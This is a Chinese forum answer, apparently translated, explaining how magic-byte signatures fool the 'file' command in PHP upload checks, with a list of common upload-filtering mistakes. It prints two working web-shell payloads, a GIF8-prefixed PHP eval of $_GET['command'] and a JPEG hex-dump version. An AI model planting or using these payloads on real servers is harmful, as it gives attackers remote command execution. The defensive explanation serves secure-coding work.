擅长:python、mysql、java
<p>我不敢说你所选的正确答案是不正确的。file</em>命令所做的是在linux系统中读取一个文件,即具有文件签名的<em>/usr/share/file/magic</em>。例如,GIF图像以文本<em>GIF8</em>开头,或者JPEG文件以字节<em>0xffd8</em>开头。您只需要在上传的文件中包含这些签名,就可以欺骗<em>文件</em>命令。这两个文件将被接受为图像,即使它们将作为php代码运行:</p>
<p>评估gif.php:</p>
<pre><code>GIF8<?php eval($_GET["command"]);?>
</code></pre>
<p>eval_jpg.php(十六进制转储):</p>
<pre><code>ff d8 3c 3f 70 68 70 20 65 76 61 6c 28 24 5f 47 |..<?php eval($_G|
45 54 5b 22 63 6f 6d 6d 61 6e 64 22 5d 29 3b 3f |ET["command"]);?|
3e 0a 0a |>..|
</code></pre>
<p>这些是过滤时最常见的错误:</p>
<ul>
<li>根本不过滤。</li>
<li>基于不正确正则表达式的过滤器很容易被忽略。</li>
<li>不使用is_uploaded_file和move_uploaded_file函数可能会导致LFI漏洞。</li>
<li>不使用$_FILES数组(而是使用全局变量)可能会导致RFI vulns。</li>
<li>基于$_FILES数组中的类型进行筛选,当它来自浏览器时是可伪造的。</li>
<li>基于服务器端检查的mime类型的过滤器,通过模拟magic文件所包含的内容(即,具有此内容的文件GIF8被标识为image/gif文件,但完全作为php脚本执行)而被愚弄</li>
<li>使用危险文件或扩展名的黑名单,而不是那些明确允许的白名单。</li>
<li>允许上载重新定义php可执行扩展名(即txt)的.htaccess文件的apache设置不正确。。</li>
</ul>